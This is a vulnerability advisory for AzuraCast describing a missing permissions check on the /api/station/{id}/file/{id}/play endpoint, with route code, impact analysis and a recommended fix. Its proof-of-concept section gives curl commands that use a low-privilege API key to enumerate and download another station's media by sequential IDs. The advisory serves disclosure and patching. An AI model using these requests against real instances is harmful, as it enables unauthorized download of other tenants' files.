PT-2026-41224 · Packagist · Azuracast/Azuracast
Publicado
2026-05-04
·
Atualizado
2026-05-04
CVSS v3.1
6.5
Média
| Vetor | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
Summary
The
GET /api/station/{station id}/file/{id}/play endpoint, handled by PlayAction, is missing the MiddlewarePermissions check that protects all sibling routes in the same /file/{id} route group. Any authenticated user can download media files from any station, regardless of whether they have permissions on that station. In multi-tenant deployments, this enables cross-station media exfiltration.Details
In
backend/config/routes/api station.php, the /file/{id} route group (lines 407-429) defines four endpoints:php
// Line 407-429
$group->group(
'/file/{id}',
function (RouteCollectorProxy $group) {
// GET /file/{id} — has Permissions check ✓
$group->get('', ...)->add(new MiddlewarePermissions(StationPermissions::Media, true));
// PUT /file/{id} — has Permissions check ✓
$group->put('', ...)->add(new MiddlewarePermissions(StationPermissions::Media, true));
// DELETE /file/{id} — has Permissions check ✓
$group->delete('', ...)->add(new MiddlewarePermissions(StationPermissions::DeleteMedia, true));
// GET /file/{id}/play — NO Permissions check ✗
$group->get('/play', ControllerApiStationsFilesPlayAction::class)
->setName('api:stations:files:play');
}
);The middleware chain for the
/play endpoint is: GetStation → RequireStation → RequireLogin → StationSupportsFeature(Media) → PlayAction. The RequireLogin middleware (backend/src/Middleware/RequireLogin.php) only verifies a valid session/API key exists — it does not check station-level permissions.The controller at
backend/src/Controller/Api/Stations/Files/PlayAction.php:84 calls $this->mediaRepo->requireForStation($id, $station), which verifies the media belongs to the station but performs no authorization check. The findForStation method (StationMediaRepository.php:46-66) accepts both auto-increment integer IDs and unique IDs, making enumeration trivial via sequential integers.This is notably similar to the regression fixed in commit
7fbc7dd (2026-02-26), which restored a missing group-level Permissions middleware on the adjacent /files group. The /play route was missed in that fix.PoC
bash
# Step 1: Create two stations (Station A and Station B) in a multi-tenant AzuraCast instance.
# Upload media files to Station B.
# Step 2: Create a user with permissions ONLY on Station A. Generate an API key for this user.
API KEY="user-with-only-station-a-access"
# Step 3: Enumerate and download media from Station B (station id=2) using sequential IDs
# This should return 403 Forbidden, but instead returns the file content
curl -H "X-API-Key: $API KEY" https://target/api/station/2/file/1/play -o stolen1.mp3
# HTTP 200 OK — file downloaded successfully
curl -H "X-API-Key: $API KEY" https://target/api/station/2/file/2/play -o stolen2.mp3
# HTTP 200 OK — file downloaded successfully
# Step 4: Verify the same user is correctly blocked on other endpoints in the same group
curl -H "X-API-Key: $API KEY" https://target/api/station/2/file/1
# HTTP 403 Forbidden — permission check works hereImpact
- Any authenticated user can download the full media library of any station in the instance, regardless of their assigned permissions.
- In multi-tenant deployments (e.g., hosting providers running multiple radio stations), a user of Station A can exfiltrate all copyrighted audio content from Station B.
- Media IDs use auto-increment integers (
HasAutoIncrementIdtrait onStationMedia), enabling trivial enumeration of all media files. - The confidentiality impact is High: full media file contents (MP3, FLAC, etc.) are exposed.
Recommended Fix
Add the
Permissions middleware to the /play route, matching the pattern used by the adjacent routes:php
// backend/config/routes/api station.php, line 426-427
// Before:
$group->get('/play', ControllerApiStationsFilesPlayAction::class)
->setName('api:stations:files:play');
// After:
$group->get('/play', ControllerApiStationsFilesPlayAction::class)
->setName('api:stations:files:play')
->add(new MiddlewarePermissions(StationPermissions::Media, true));Correção
Missing Authorization
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Azuracast/Azuracast